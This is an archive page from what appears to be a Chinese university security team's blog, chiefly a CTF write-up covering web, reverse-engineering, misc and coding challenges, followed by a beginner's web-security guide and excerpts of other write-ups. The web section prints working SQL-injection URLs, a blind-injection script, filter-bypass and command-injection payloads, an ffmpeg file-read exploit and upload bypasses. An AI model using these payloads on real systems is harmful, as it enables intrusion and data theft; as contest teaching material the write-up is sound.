Category Archives: 未分类

第8届极客大挑战Writeup

Web

粗心的李超

难度:简单

爆破,用户:口令为 lichao:lc19971117。

或者读取根目录下的index.php.bak读源码绕过

iPhone X

难度:简单

题目提示要iPhone X访问,需要UA头包含CPU iPhone OS X字样,之后提示IP不符合规则,同时修改xff和ref头尾127.0.0.1得到flag

GET /web_competition/geekCompetition/web_3/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS X like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/13D15 UCBrowser/10.9.15.793 Mobile Gecko/20100101 Firefox/55.0
Referer: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-FORWARDED-FOR: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

这里的UA坑了各位师傅,OS后面应该是系统版本,不是手机的版本。给各位师傅道歉

Buy me a Telsa

难度:中

进入页面发现可以买车,但是买不起,抓包发现传递价格和余额,并有签名验证。发现签名是base64编码三次,修改价格和余额使得余额大于价格并修改签名发包成功购买。

POST /index.php HTTP/1.1
Host: 120.25.80.195:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Referer: http://120.25.80.195:3001/
Connection: close
Upgrade-Insecure-Requests: 1

submit=%E8%AE%A2%E8%B4%AD&value=1&yue=10&sign=WkVkV2VtSkhSazVpTWxKc1lrWm9OMlJ0Um5Oa1YxVTJUVk40TjJSWVRteGpiazF1WTNsQ05XUlhWVFpOVkVJNQ==

PS:第一次打开网页会比较慢,再访问使用缓存,就快很多。

视频播放器

难度:简单~中

读源码,判断是ffmpeg

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin
python3 ./gen_xbin_avi.py file:///var/www/html/index.php exp.avi

PHP的悖论1

难度:简单

考察php的弱类型和数组绕过基础,都是恨经典的题

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2'])){
    echo $flag; 
}

这道题不能用弱类型绕过,但是可以用数组导致md5()函数报错返回空,空===空符合条件,得到Flag。

s1[1]=&s2[]=

PHP的悖论2

难度:简单

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) == md5($_POST['s2'])){
    echo $flag; 
}

这个就是标准的弱类型了

取md5之后为0e开头的字符串,如s1=QNKCDZO&s2=240610708

当然这两道题也可以用hash碰撞解决,如这两个字符串:

s1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
s2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

G胖万岁

难度:难

看到url最后为?type=DESC,猜想sql语句为:"Select * from ** order by id".$GET['type']

关于sql语句相关的语法
https://dev.mysql.com/doc/refman/5.7/en/sorting-rows.html
https://dev.mysql.com/doc/refman/5.7/en/order-by-optimization.html

于是开始构建语句,这里有很多种构建方法,如利用sql语句的排序机制在后面加上type=|1type=|2或者type=^1type=^2会返回不同的排列顺序。还可以构建畸形的多子段排序,type=,1type=,0会返回正常和空.

后面就可以写脚本跑了。

但是很多人在跑完表名、字段名之后拿数据的时候跑不出来了,于是来问我。其实数据库里的东西都是一直存在的,没有问题,但是在linux下mysql默认设置会产生一些坑点,这就是mysql对字母大小写的处理机制的配置。

很多人在构造payload时用了regexp()这个函数,因为好写脚本,payload也短。但是regexp()这个函数是对大小写不敏感的,而linux下mysql默认的大小写配置是这样:

MySQL在Linux下数据库名、表名、列名、别名大小写规则是这样的:
  1、数据库名与表名是严格区分大小写的;
  2、表的别名是严格区分大小写的;
  3、列名与列的别名在所有的情况下均是忽略大小写的;
  4、字段内容默认情况下是大小写不敏感的。

这样拿数据的时候,用的是之前regexp()查到的不区分大小写的表名和字段名,在最后的 select 字段名 from 表名 的时候就会报错,拿不到数据。所以在盲测的时候最好用ascii,可以完美规避这个问题。

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

def check(content):
    return "Terraria" in content

def guess(url):
    response = requests.get(url)
    content = response.content
    return check(content)

data = ""
for i in range(0x20):
    LEFT = 0x00
    RIGHT = 0x100
    P = (RIGHT + LEFT) / 2
    while RIGHT - LEFT > 1:
        url = "http://game.sycsec.com:2008/Steam/1.php?type=,(select 1 regexp if(ascii(substring((select concat(table_name)from information_schema.tables where table_schema%3ddatabase() limit 0,1),"+str(i)+",1))%3c"+hex(P)+",1,0x00))%23"
        print "[+] Payload : %s" % (url)
        print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
        if guess(url):
            RIGHT = P
        else:
            LEFT = P
        P = (RIGHT + LEFT) / 2
    data += chr(P)
    print "[+] Data : %s" % (data)

[+] Tables : F1AG_1S_H3RE,GAMES
[+] Columns : ID,F14G_IS,ID,NAME,TIMES,SCORE,ACHIEVEMENT,PRICE

故道白云

考点:sql注入联合查询法,sqlmap等注入工具使用
通过输入框提交到我们url:

http://game.sycsec.com:2006/?id=1&submit=submit

可以发现我们可以改变id的值来获取不同的数据,测试注入

注入:

http://game.sycsec.com:2006/?id=1' order by 2-- -&submit=submit

http://game.sycsec.com:2006/?id=-1' union select f4ag,2 from f1ag.flag-- -&submit=submit

得到:SYC{HACKEr_By-cL0und}

Clound的错误

考点:sql报错注入
右键网页源码:

可以得到参数sycid和注入方向
页面输出了语句和报错信息 所以可以使用报错注入
测试:

http://game.sycsec.com:2007/?sycid=1' and extractvalue(0x2a,concat(0x2a,(select version())))-- -

通过故道白云的payload来依次获取flag

http://game.sycsec.com:2007/?sycid=1' and extractvalue(0x2a,concat(0x2a,(select f4ag from f1ag.flag)))-- -

得到:SYC{Err0r_sql_inj}

Clound的错误2

考点:sql绕过过滤
页面返回了执行的sql语句 通过测试 可以发现有些关键词被过滤为空了 如:

http://game.sycsec.com:2010/?sycid=-1' unino select 1,2-- -

可以发现报错为:

语句中select和空格 被过滤为空了
其中关键词过滤为空 我们可以使用重复来绕过 比如 selselectect过滤select后就变为了select 有变成了我们想要的数据
过滤空格绕过的方法有很多 可以参考:
http://blog.sycsec.com/?p=1005
所以我们可以结合故道白云和Clound的错误 最后:

http://game.sycsec.com:2010/?sycid=-1'/**/aornd/**/extractvalue(0x2a,concat(0x2a,(selorect/**/f4ag/**/frorom/**/f1ag.flag)))/**/anord/**/'1'='1

得到:SYC{Err0R_sQl_inj2}

大大的标题

考点:文件上传绕过
服务端检测为:

$file_type = $_FILES[ 'file' ][ 'type' ];
.....
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

没有直接检测后缀 而是直接检测的$_FILES[ 'file' ][ 'type' ] 导致可以绕过上传
因为本题希望大家上传php文件 所以
上传php文件抓包 修改Content-Type为image/jpeg:


上传成功 得到:SYC{CLound-upL0ad}

你的名字(web350)Write-up

考察的知识点

  • 正则表达式没有匹配多行,使用换行符绕过
  • 过滤空格,使用tab绕过
  • 通配符?的使用
    > Reference:
    > Babyfirst
    > 通配符

解题思路

首先fuzz发现只能使用数字字母下划线,这里使用\n (url编码:%0a)绕过,具体参考Reference中的babyfirst一题,绕过后再fuzz发现过滤没那么严格,读文件可以用类似c\at绕过,而空格则使用tab (url编码:%09)绕过。
根据name=jiangxx得到的提示,猜测文件为一个隐藏文件,文件名可以使用burp爆破,方法就是使用通配符?代替文件名中的每一个字符,直到长度与文件名相同。之后直接用cat\xxd\pg等命令直接读取就好。

payload

index.php?name=%0aca\t%09.???????????????????????????????

快捷方式的妙用

考察的知识点

解题思路

根据upload.html的标题:Just tar archive, 上传一个tar包,获得回显。再根据题目名快捷方式联想到linux下与快捷方式功能相似的符号链接,于是生成一个软链接,指向题目文件upload.php, 在upload.php中得到flag位置的提示,同理获得flag

payload

ln -s /var/www/html/link/upload.php upload
tar cvf upload.tar upload

RE

RE100 convolution

IDA反编译得到核心代码

    for (int i = 0; i < strlen(flag); ++i)
        for (int j = 0; j < strlen(key); ++j)
            ans[i + j] += flag[i] ^ key[j];

可以得出flag[0]
可以根据flag[0]得到flag[1]
可以根据flag[0], flag[1]得到flag[2]
以此类推
解密代码

#include<cstdio>
#include<cstring>
const int MAXN = 64;
char b[]={'\x72','\xe9','\x4d','\xac','\xc1','\xd0','\x24','\x6b','\xb2','\xf5','\xfd','\x45','\x49','\x94','\xdc','\x10','\x10','\x6b','\xa3','\xfb','\x5c','\x13','\x17','\xe4','\x67','\xfe','\x72','\xa1','\xc7','\x4','\x2b','\xc2','\x9d','\x3f','\xa7','\x6c','\xe7','\xd0','\x90','\x71','\x36','\xb3','\xab','\x67','\xbf','\x60','\x30','\x3e','\x78','\xcd','\x6d','\x35','\xc8','\x55','\xff','\xc0','\x95','\x62','\xe6','\xbb','\x57','\x34','\x29','\xe','\x3'};
char key[]="!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~";
char ans[MAXN];
int main() {
    int n=strlen(b);
    int y=strlen(key);
    int x=n-y+1;
    memset(ans, 0, sizeof(ans));
    for(int i=0; i<x; ++i)
    {
        ans[i]=b[i]^key[0];
        for(int j=0; j<y; ++j)
            b[i+j]-=ans[i]^key[j];
    }
    puts(ans);
    return 0;
}

答案为SYC{4+mile+b3gin+with+sing1e+step}


RE300 transform

这是一个针对序列的变换,我们不需要了解变换的实际含义和数学原理,只需要写出它的逆变换就行了,有个逆变换虽然不是相关领域常用的,但非常好理解,如下
题目核心变换代码

void ntt(ll* a, int n) {
    int rev[MAXN];
    rev[0] = 0;
    for (int i = 1; i < n; ++i) {
        rev[i] = rev[i >> 1] >> 1;
        if (i & 1) rev[i] |= n >> 1;
    }
    for (int i = 0; i < n; ++i) {
        if (i < rev[i]) swap(a[i], a[rev[i]]);
    }
    ll g = 3;
    for (int s = 2; s <= n; s *= 2) {
        ll wm = MyPow(g, (MOD - 1) / s);
        int m = s >> 1;
        for (int i = 0; i < n; i += s) {
            ll w = 1;
            for (int j = 0; j < m; ++j) {
                ll u = a[i + j], t = a[i + m + j];
                a[i + j] = (u + w*t) % MOD;
                a[i + j + m] = (u - w*t) % MOD;
                w = w*wm%MOD;
            }
        }
    }
}

逆变换代码

void Intt(ll* a, int n) {
    int rev[MAXN];
    rev[0] = 0;
    for (int i = 1; i < n; ++i) {
        rev[i] = rev[i >> 1] >> 1;
        if (i & 1) rev[i] |= n >> 1;
    }
    ll g = 3ll;
    for (int s = n; s >= 2; s /= 2) {
        ll wm = MyPow(g, (MOD - 1) / s);
        int m = s >> 1;
        for (int i = 0; i < n; i += s) {
            ll w = 1;
            for (int j = 0; j < m; ++j) {
                ll u = a[i + j], t = a[i + m + j];
                a[i + j] = (u + t)*inv(2)%MOD;
                a[i + j + m] = (u - t)*inv(2*w) % MOD;
                w = w*wm%MOD;
            }
        }
    }
    for (int i = 0; i < n; ++i) {
        if (i < rev[i]) swap(a[i], a[rev[i]]);
        if (a[i] < 0) a[i] += MOD;
    }
}

最后答案SYC{N77_wi11_make_you_happy}

Windows_1

IDA载入文件后在main函数就能看到flag的ascii码,转换成字符串就可以了。

Windows_2

根据题目提示可以想到题目的文件是被xor加密过的,而且提示了PE文件,也很容易联想到利用PE文件头中一些不变的字段来找出xor所用的数字。

找出加密数字的脚本。

//FindEn.c
#include <stdio.h>
int main(){
    FILE *fp = fopen("encryptPE.exe","rb");
    FILE *fp_2 = fopen("test.exe","rb");
    char c_1,c_2;
    char x;
    __int16 i=0;
    while(!feof(fp)){
        c_1 = fgetc(fp);
        c_2 = fgetc(fp_2);
        x = c_1^c_2;
        printf("%d ",x);
        if((i++)>50)
            break;
    }
    fclose(fp);
    fclose(fp_2);
    system("pause"); 
}

解密脚本

//DoDecrypt.c
#include <stdio.h>
void decrypt(FILE*fp);

__int16 de_num[] = {0x53,0x87,0xf2,0xa4,0xe2,0xb7};

int main(){
    FILE *fp = fopen("encryptPE.exe","rb");
    decrypt(fp);
} 
void decrypt(FILE*fp){
    char c;
    int i=0;
    FILE *fp_2 = fopen("decryptPE.exe","wb");
    while(!feof(fp)){
        c = fgetc(fp);
        c^=de_num[(i++)%6];
        fputc(c,fp_2);
    }
    fclose(fp);
    fclose(fp_2);
}

Windows_3

程序会提示输入密码得到flag,密码看起来是随机的,最简单的做法就是载入动态调试器在跳转处下断,然后修改跳转指令。

用IDA分析也是可以,不过很明显,前者更简单。

windows_4

考察点

  • windows API
  • windows消息机制
  • 常见密码学算法

程序流程

有两部分
1.取前五字节进行MD5分段比较
将md5解码就能得到h311o
2.第一部分通过后会调用sendmessage 发送0x8000消息
找到消息循环,看到第二部分验证
第六,七,八,九字节分别是G,e,e,K

输入h311oGeeK就可以了

APK_1

将程序载入JEB即可发现,主要有两个验证函数。

很明显了,username就是 “SycGeek2017” password就是username通过base64编码之后再逆序的结果。

Linux_1

程序载入IDA中之后找到验证函数可以发现flag就是通过单字节对比来验证的。

将对应的ascii码转换成字符就可以了

Misc

MISC100 找规律

由于数列数字是呈指数级增长的推断它是线性递推数列,设一个较高的阶数,并使用待定系数法得到一个线性方程组
此处输入图片的描述
由于方程组可能有无穷解,可以先求出当前矩阵的秩,再以此为阶数,生成方程组
matlab 代码

a=[0, 1, 1, 2, 8, 18, 59, 155, 460, 1276, 3672, 10357, 29533]
y=a(9:13)'
A=[a(8:-1:4); a(9:-1:5); a(10:-1:6); a(11:-1:7);a(12:-1:8)]
x=rank(A)
A=A(1:x,1:x)
y=y(1:x)
inv(A)*y

最后答案为SYC{4274885634120}

蕉迟但到

使用binwalk,手动分一下动图,可以找到一个叫加密过的docx和兔子师父表情包一枚,根据表情包提示,FLAG为压缩过的docx的密码,解密即可。

SYC{X1_ZI_Zh@_LiE}

拿出荧光棒

根据提示的密码,使用MP3Stego等工具进行解密,即可拿到flag

SYC{girigiriai~grIgIrIm@i~}

docker 1

安装好docker,直接pull,然后docker run -it 镜像名,在当前目录就有一个flag文件。

或者

SYC{1_1ov3_D0cker_a_loT!!!!}

docker 2

在 var/www/http 下发现 .flag.txt

SYC{!Th1s_1s_Th3_f1ag_which_1s_hIdd3n}

docker 3

ls -a
在隐藏文件夹 home 里发现 flag.zip

根据关于密码的提示,使用各种zip密码破解工具都可以破解,密码为SYC19970723

SYC{My_B1rthd4y_1s_My_p4ssw0rd___}

Code

Code 150 可以跑一年

算法为矩阵加快速幂,主要不想被暴力算出来,想考察下大家的代码实现能力。这里有完整版代码,大家比较一下

#include<cstdio>
#include<cstring>
#define CLR(x) memset(x, 0, sizeof(x))
typedef long long ll;
ll a[3][3]={0,1,0,0,0,1,-1,2,1};
ll e[3][3]={1,0,0,0,1,0,0,0,1};
const ll MOD = 1e9+7;
struct Matrix{
    ll d[3][3];
    Matrix() {
        CLR(d);
    }
    ll* operator[] (int x) {
        return d[x];
    }
    void print() {
        for(int i=0; i<3; ++i)
            for(int j=0; j<3; ++j)
                printf("%lld%c", d[i][j], ",\n"[j==2]);
    }
};
Matrix operator * (Matrix& a, Matrix& b) {
    Matrix ret;
    for(int i=0; i<3; ++i)
        for(int j=0; j<3; ++j) {
            for(int k=0; k<3; ++k)
                ret[i][j] += a[i][k]*b[k][j];
            ret[i][j]%=MOD;
        }
    return ret;
}
Matrix MyPow(Matrix a, ll x) {
    Matrix ret;
    memcpy(ret.d, e, sizeof(e));
    while(x) {
        if(x&1) ret=ret*a;
        a=a*a;
        x>>=1;
    }
    return ret;
}
int main() {
    Matrix A;
    memcpy(A.d, a, sizeof(a));
    ll n=3141592653589792ll;
    Matrix B=MyPow(A, n);
    printf("%lld\n", B[0][2]);
    return 0;
}

答案SYC{101634435}


Code150 排列

以前曾自己实现过next_permutation函数,想考察大家对现象的归纳,和对规律的归纳能力,和对算法的设计能力。可以尝试交换两个数之后他们的排名相差多少,排名变化应该是随两个数的位置距离呈阶乘级增长。选择合适的数交换之后,需要变化的排名就很小了,之后就可暴力。当然还有一个办法是康托展开和康托逆展开,排列和他的排名是一一映射关系,有算法可以知道一个得到另一个
答案SYC{108613131227915514114}

Android动态调试

一、在SO中关键函数上下断点

刚学逆向调试时。大多都满足于在SO中某关键函数上下断点。然后通过操作应用程序,去触发这个断点,然后进行调试
详细的步骤可以参见非虫大大的《Android软件安全与逆向分析》有详细的介绍

简单说:在libsyclover.so文件中有一个函数jnicall1。每次单击按钮的时候,便会调用此函数。

1.静态载入此so文件,找到函数的偏移地址为:0x132C

Continue reading

Web新手入门

        也常常有人问道过我Web该如何入门,给刚刚入门的小白的一篇文章,科普文章,没有什么阅读的门槛,读读可以涨姿势。Web安全是一个比较广泛的范围,文章的篇幅有限,所以我并不会介绍很具体很详细的漏洞利用。而是要更概括性的更抽象地介绍Web安全的学习方法。别听到抽象就觉得艰难,其实就是给点通用的学习方法和学习路线,这个对于小白益处很大,不会迷失在人生的道路上。
        在介绍Web安全之前,我觉得要学习另外一个东西,就是学习能力。如何快速地从网络,从文章上吸收到知识,掌握某种技巧。有个学长说过:大学拼的是学习力,而不是学历。提高自己获取知识的能力不失为一种捷径。那该如何掌握呢?这是个网络的时代,通过网络使用搜索技巧,我们可以快速搜索到一些资源,甚至发展出了一门特殊的技巧google hacking。利用特殊的谷歌语法,可以搜索到网络你所需要的特殊资源,比如在谷歌中搜索site:pan.baidu.com torrent 就可以搜索到百度网盘网站上的东西,还有torrent内容的东西,然后你懂的。有的同学说谷歌被墙了,http://209.116.186.246就是还可用的谷歌镜像网站。其实就是掌握一些语法,学会浓缩出关键字进行检索,达到快速找到你所需要的资源。
        还有一个能力就是能解决实际的问题,大一的时候我们会学习C语言,编译出错会有提示,我们该如何解决它呢?这可能只是有个小问题,但是却是解决很多问题共同的思路。我们先要收集相关的信息,我们犯过的错误别人也很可能犯过,网络上可能就会有相关的解决方法,从而了解是哪里出错了。暂时先别直接就去问人,学会自己去处理,莫做伸手党。比较难的是那种小众的问题,没有现成的解决方法,这个时候就需要自己去进行基础相关知识的快速学习、快速积累。达到可以解决这个问题的程度,方法也是通过检索相关周边、基础知识来完成的。自己实在无论如何都解决不了了,先问问自己对于问题了解到了何种程度再去请教别人。推荐个好东西,提问的智慧 论如何正确的提问。
        文章写了很多其实都还没提到Web安全,其实大一还要掌握好C语言,对于之后的编程学习有很大的益处,毕竟可能会是很多人的第一门编程语言。多去动手编程,只有在动手的过程中才会知道可能遇到什么问题,该去怎么解决,下次遇到就可以很快的秒杀类似的问题了。安全圈的元老黑哥说过:整就牛。实践实践实践不断地实践,然后总结思考,才能提升编程能力。一本编程书看过去了,可能没什么留在脑海,要自己动手才能很好的进行记忆。Web安全其实也是很考经验的,你遇到过很多奇奇怪怪的环境,自己下次遇到就会有经验,毕竟见多识广。所以要自己多动手,多去实践,多去搞站,才能快速提升自己的渗透水平。其实从前期从80端口 http服务进行入侵,也就是俗称的搞站,到提高后利用其他的开发服务来进行渗透,都是可以利用前面的学习方法来学习的。要多百度多google才能开阔眼界。google是最好的老师。
        了解web应用的各种常见漏洞(知道是什么,如何形成):SQL注入、XSS、CSRF、上传漏洞、解析漏洞、任意文件包含漏洞、点击劫持、弱口令、cookie欺骗等。可以自己去尝试搜索这些关键字来进行检索,收集信息进行学习。还要学会自己搭建环境进行测试,有个好东西就是虚拟机vmware,利用这个软件,你可以搭建多种不同的系统在你的计算机上,进行模拟真实环境的测试。有时候,我们在搞站的时候是很危险的,也可能会是没有收获的。一种安全的方法就是利用 乌云公布出来的漏洞进行测试,自己搭建环境来测试通用型的漏洞,自己搭建iis服务器或者是wamp集成环境来进行测试,从而达到不违法的情况下又可以练习的目的。
        简单介绍一个常见的Web渗透流程,就是通过sql注入漏洞来进行注入攻击,可以获取数据库的信息。数据库的信息里又有网站的后台管理员的账号密码,从而顺利进入了后台。然后在后台管理员是要发布一些照片或者是资料之类的,利用这个上传功能配合解析漏洞可以顺利拿到webshell,然后就是利用本地提权漏洞来进行权限的提升,提升到system的程度,后来就可以任意xxoo了,进入内网。这里没接触过的人可能会觉得云里雾里的,没事,一开始我也是这样子的,多去百度这些相关的知识,看文章积累,建立起一个Web安全的体系后,自己遇到了相关的知识就知道该往知识体系中的哪里进行填充了,遇到新知识也不会混乱了,因为你知道知识该在哪里。
        最后来聊聊Web的进阶吧,一个方向是代码审计,就是对CMS进行审计,通过阅读代码进行白盒的测试,测试发现漏洞,这个方向需要比较扎实的代码能力。还有一个方向是内网渗透方向,这个方向是在Web撕出了口子进入了内网之后再进行渗透攻击。也是很火的一个方向,这个需要你有猥琐的思路和丰富的经验。相信你学习了这一步也可以会有自己的选择和方向的。
最后来推荐一些博客、网站、书籍、教程之类的。

博客:
        http://syclover.sinaapp.com/ 三叶草小组的博客
        http://appleu0.sinaapp.com/ AppLeU0的博客 我最喜欢给我的博客打广告了
        http://laterain.sinaapp.com/ Laterain的博客 我是白神的脑残粉

网站:
        http://www.wooyun.org/ 乌云漏洞提交平台
        http://drops.wooyun.org/ 乌云知识库
        http://www.freebuf.com/ 黑客与极客
        https://www.90sec.org/ 90sec团队
        http://www.f4ck.org/ 法克论坛
        https://www.t00ls.net 吐司论坛

书籍:
        《黑客攻防技术宝典 Web实战篇》 很详细的书,厚厚一本,慢慢啃
        《白帽子讲Web安全》 难度有点高,适合有一定经验的人阅读,很好的书
        《黑客大曝光:网络安全机密与解决方案》 找找新的版本,更新比较多的书

教程:
        网站入侵学习入门到高手所有重点难点视频推荐

最后用学长告诉过我的一句话来结尾吧~ 发现大师,跟随大师,成为大师,超越大师。

windows常见反调试

1. PEB

0x002    BeingDebugged
正常运行:0x0        调试态:0x1
0x00c    Ldr:指向堆内存区地址
调试状态堆内存全部填充为0xFEEEFEEE
0x018    ProcessHeap:指向HEAP结构体
0x00c    Flags    正常运行:0x2    调试态:0x50000062
0x010    ForceFlags    正常运行:0x2    调试态:0x40000060
0x068    NtGlobalFlag
正常运行:0x0        调试态:0x70
Continue reading

iscc线下决赛 writeup

0x00
这次比赛去了北京 认识了很多大黑阔哇 好开心的说 大家一起搅基 一起互相猥琐做题也很开心 之后都不会忘记这次的满满基情 这次的分队是随机的 3个人一队 有7个国家 模拟的战国七国争霸 这次有Kuuki大黑阔和Invoker 带我飞
比赛的环境是有内外网两个部分 选手有自己的3台服务器的领地 172.16网段的 可以自己的去拿下的 得分只能得一次 就是需要互相争抢 在最后的时刻守住服务器才能算是得分 漏洞可以修复 分数都是500
还有高地的服务器是可以重复得分的 一队得分后不会影响后面的队伍得分 分数也是500 那里有其他的一些服务器 这里的漏洞是不允许修复的 最多就是把自己的入侵痕迹清理了

Continue reading

2014 xdctf writeup

0x00 前言
感觉这篇写的有点简单 phithon p神有更详细的分析 放到最后有下载
题目的链接 xdctf2014题目(不含web).zip

0x01 Web
WEB20
什么,小P说来点彩头?先出个简单的,就WEB20吧。
题目链接: WEB20 http://game1.xdctf.com:8081/H86Ki4NnCSVv/
hint > 大家不知道复活节要玩什么吗?(非前端题,请勿关注html注释、css、javascript等)

p神出的题目 果然能涨姿势,一开始并没有做出来 坑了好久
http://game1.xdctf.com:8081/H86Ki4NnCSVv/
一开始去研究图片去了,没发现什么 方向错了 图片的时间也是很久以前的
根据提示 去研究了一下 复活节要玩什么吗? 说是要玩彩蛋 也就是后面的jpg给出的图片
然后去百度了一下php彩蛋 发现php居然还有这种特性 也是涨姿势了
php彩蛋资料
http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
1
在最下面发现了信息
Your Flag flag-WhatisPhp-mtzeXAtcKA53
Continue reading

2014 isg writeup

0x00 前言
好久没发文章了 主要是极客大挑战开始了之后 有点忙

0x01 Web

web200 smile
1
访问之后出现一个提交框
2
查看一下源代码 点XD进去 可以看到php源码
http://202.120.7.104:8888/?view-source

<?php  
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 

    include('flag.php'); 

    $smile = 1;  

    if (!isset ($_GET['^_^'])) $smile = 0;  
    if (ereg ('\.', $_GET['^_^'])) $smile = 0;  
    if (ereg ('%', $_GET['^_^'])) $smile = 0;  
    if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;  
    if (ereg ('http', $_GET['^_^']) ) $smile = 0;  
    if (ereg ('https', $_GET['^_^']) ) $smile = 0;  
    if (ereg ('ftp', $_GET['^_^'])) $smile = 0;  
    if (ereg ('telnet', $_GET['^_^'])) $smile = 0;  
    if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;  
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?>

Continue reading

调试.init_array段中函数方法

环境:rom包4.4.3
手机:Nexus 4
ida:    6.5
我想此文的作用大家都知道吧,我就不瞎bibi啦。首先定位到/dalvik/vm/Native.cpp文件中的dvmLoadNativeCode函数,可以跟宗System.Loadlirary(“soName”);函数的实现,发现dvmLoadNativeCode函数完成so加载,初始化工作。 Continue reading